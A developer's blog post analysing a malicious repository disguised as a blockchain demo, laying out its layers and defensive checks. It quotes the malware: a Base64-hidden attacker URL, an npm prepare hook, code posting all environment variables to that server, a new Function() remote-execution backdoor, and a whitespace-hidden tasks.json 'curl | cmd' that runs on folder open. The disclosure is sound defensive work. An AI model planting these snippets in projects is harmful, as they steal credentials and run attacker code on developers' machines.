As software engineers, we clone repositories constantly. It’s part of our daily workflow — evaluating libraries, reviewing code, testing demos. But what happens when the repository itself is the attack? This post documents how I identified a sophisticated, multi-layered attack embedded inside what appeared to be a legitimate open source project, and the step-by-step forensic process I used to explore it.

This isn’t a story about being hacked. It’s a story about catching something before it could do damage — and sharing what I found so you can do the same.


The Setup — It Looked Completely Legitimate

The repository presented itself as a blockchain-based platform. It had a polished README, screenshots, a credible tech stack (React, Node.js, Solidity, Socket.io), and a clear project description. Nothing immediately obvious raised suspicion — it looked like dozens of other demo projects you might find on GitHub.

I cloned it, opened in Cursor, and that’s when things got interesting.


Layer 1 — Secrets Committed to a Public Repository

The first thing I noticed during a routine code review was that .env and .env.local files were committed directly to the repository and publicly visible. They contained credentials for AWS, OpenAI, Stripe, and several blockchain API providers.

Most appeared to be placeholder values. But one variable stood out immediately:

AUTH_API=aHR0cHM6Ly8yLTI3LWJrLTktYm9zcy1hcGktY29weS10aHJlZS52ZXJjZWwuYXBwL2FwaQ==

A Base64-encoded value — deliberately obfuscated. Decoding it revealed a URL pointing to an unknown third-party server with no public presence whatsoever. Legitimate projects don’t hide URLs in Base64 inside environment files. This was the first serious red flag.


Layer 2 — The prepare Hook Executes Code on npm install

Reviewing package.json revealed the second layer:

"scripts": {
  "prepare": "node server/server.js"
}

The prepare lifecycle hook runs automatically during npm install. This means simply installing dependencies silently started the server — with no user prompt, no warning, no visible output. This is a well-known supply chain attack technique: using npm lifecycle hooks to execute arbitrary code the moment a developer installs a project.


Layer 3 — The Server Exfiltrates Your Environment Variables

Digging into the server-side code revealed what the server was designed to do once started. Inside the authentication controller:

const verify = (api) =>
  axios.post(api, { ...process.env }, {
    headers: { "x-app-request": "ip-check" }
  });

{ ...process.env } spreads every environment variable on your system and POSTs them to the attacker’s server. This includes AWS credentials, API keys, database connection strings, tokens — anything set in your system environment or loaded from .env files.


Layer 4 — Remote Code Execution via new Function()

The deepest layer was in the route handler for authentication:

const executor = new Function("require", response.data);
executor(require);

Whatever JavaScript the attacker’s server returned in response to the POST was executed directly on the victim’s machine using Node.js’s require — giving it full access to the file system, network, and operating system. This is a complete remote code execution backdoor, with the payload controlled entirely server-side and never written to disk.


Layer 5 — The .vscode/tasks.json Weapon

The most aggressive attack vector was hidden inside .vscode/tasks.json. The malicious command was padded with hundreds of blank spaces to push it far off-screen, invisible to anyone casually reviewing the file in a standard editor view:

"command": "curl --ssl-no-revoke -L https://[attacker-domain].vercel.app/api/settings/windows | cmd"

Combined with:

"runOptions": { "runOn": "folderOpen" }

This task executes automatically the moment you open the project folder in VS Code or Cursor — no click required, no confirmation needed (if workspace trust has been granted). It downloads a script from the attacker’s server and pipes it directly into the Windows command prompt, silently, with all output suppressed.

This is a fileless execution technique — nothing is saved to disk, making it significantly harder for antivirus software to detect in real time.

If you explore the file the chance to scroll right is really small and seeing that hidden curl command is almost impossible. You could see in the picture how it is really pushed maximum to the right with spaces.


The Attack Pattern — What to Look For

This type of attack typically combines several techniques that individually look harmless but together form a complete compromise chain:

  • Secrets committed to version control (to establish false legitimacy, or harvest if real)
  • npm lifecycle hooks (prepare, preinstall, postinstall) that execute code silently on install
  • Environment variable harvesting via { ...process.env }
  • Dynamic code execution via eval() or new Function()
  • .vscode/tasks.json with runOn: folderOpen to execute on project open
  • Obfuscated URLs hidden in Base64 or buried in whitespace

None of these techniques is new in isolation. What makes this dangerous is their combination into a layered attack that can survive partial detection — if one vector is blocked, another may succeed.


How to Protect Yourself

Before running npm install on any unfamiliar project:

# Review all lifecycle scripts first
cat package.json | grep -A 20 '"scripts"'

# Install without running lifecycle hooks
npm install --ignore-scripts

# Then manually review before running anything

Before opening any project in VS Code or Cursor:

  • Check .vscode/tasks.json for runOn: folderOpen entries
  • Check .vscode/settings.json for unexpected terminal or shell configurations
  • Never click “Trust” on a workspace from an unknown or unverified source

System-level protections:

  • Keep Windows Firewall enabled and pay close attention to outbound network prompts
  • Use a reputable antivirus for on-demand scanning after working with unknown code
  • Avoid storing real API keys in system environment variables — use a dedicated secrets manager
  • Consider running unknown or untrusted code inside a VM or Docker container

Red flags in any repository:

  • .env files committed to version control
  • Obfuscated values (Base64, hex encoding) in configuration files
  • Unknown hosted endpoints in environment variables with no documentation
  • prepare, preinstall, or postinstall scripts that start a server or make network calls
  • .vscode/tasks.json files in repositories you didn’t create yourself

Conclusion

The sophistication of this attack wasn’t in any single technique — it was in the layering. Each component provided redundancy: if one vector failed, another might succeed. The .vscode task as a backup to the npm hook. The remote code execution as a backup to the environment variable exfiltration.

As software engineers, our workflow involves constantly running code we didn’t write. That’s not going to change. What can change is how carefully we inspect what we’re about to execute — especially when it comes from an unfamiliar source.

A thirty-second review of package.json and .vscode/tasks.json before cloning and installing could have identified every attack vector described in this post.

Take the thirty seconds.


If you found this useful, share it with your team. The more engineers recognize these patterns, the harder this type of attack becomes to execute successfully.